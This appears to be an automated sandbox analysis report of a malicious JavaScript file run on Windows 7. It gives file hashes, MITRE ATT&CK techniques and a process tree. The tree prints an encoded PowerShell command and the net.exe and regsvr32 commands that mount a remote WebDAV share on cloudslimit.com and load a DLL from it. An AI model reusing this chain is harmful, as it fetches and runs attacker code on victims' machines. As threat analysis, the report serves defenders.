a10d0fc40b082b951b7bda6bda87a44bcf566dc08ce1a46f08f8516f7839e5ab

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
21/08/2024, 14:36

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General

Target

a10d0fc40b082b951b7bda6bda87a44bcf566dc08ce1a46f08f8516f7839e5ab.js
Size

13KB
MD5

308a839d446d5c21b38e79e6f42d3f20
SHA1

047d24c6d57f8887ac3e2f6929f7a903503fe803
SHA256

a10d0fc40b082b951b7bda6bda87a44bcf566dc08ce1a46f08f8516f7839e5ab
SHA512

c61a00d3c6ba9490fa17d26803c99ddd8b96867a197c7c5f0e64dac2ccc97ebfe0c11bedea9c68e513e84103ae72fe51999b6d054cf2de81ce66ebca06c004c2
SSDEEP

96:N6Nt7yRlQNrAIURImLXIsYoGqM7mPaL04eznA2nqMnhGMn7nnG14xD4RxePnyEtT:kT7+lQ+IUGc7Hv57nXL9C79A6FM8H5i

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2068	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2068	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2996 wrote to memory of 2068	2996	wscript.exe	31
PID 2996 wrote to memory of 2068	2996	wscript.exe	31
PID 2996 wrote to memory of 2068	2996	wscript.exe	31
PID 2068 wrote to memory of 2644	2068	powershell.exe	33
PID 2068 wrote to memory of 2644	2068	powershell.exe	33
PID 2068 wrote to memory of 2644	2068	powershell.exe	33
PID 2068 wrote to memory of 2696	2068	powershell.exe	34
PID 2068 wrote to memory of 2696	2068	powershell.exe	34
PID 2068 wrote to memory of 2696	2068	powershell.exe	34
PID 2068 wrote to memory of 2696	2068	powershell.exe	34
PID 2068 wrote to memory of 2696	2068	powershell.exe	34

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\a10d0fc40b082b951b7bda6bda87a44bcf566dc08ce1a46f08f8516f7839e5ab.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADkANAAyADMAMQA1ADYAMQA5ADIAMwA0ADgANQAuAGQAbABsAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2068
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
    3⤵
    PID:2644
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\294231561923485.dll
    3⤵
    PID:2696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2068-4-0x000007FEF5E6E000-0x000007FEF5E6F000-memory.dmp

Filesize
4KB

Download
memory/2068-6-0x00000000021D0000-0x00000000021D8000-memory.dmp

Filesize
32KB

Download
memory/2068-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2068-7-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2068-8-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2068-10-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2068-9-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download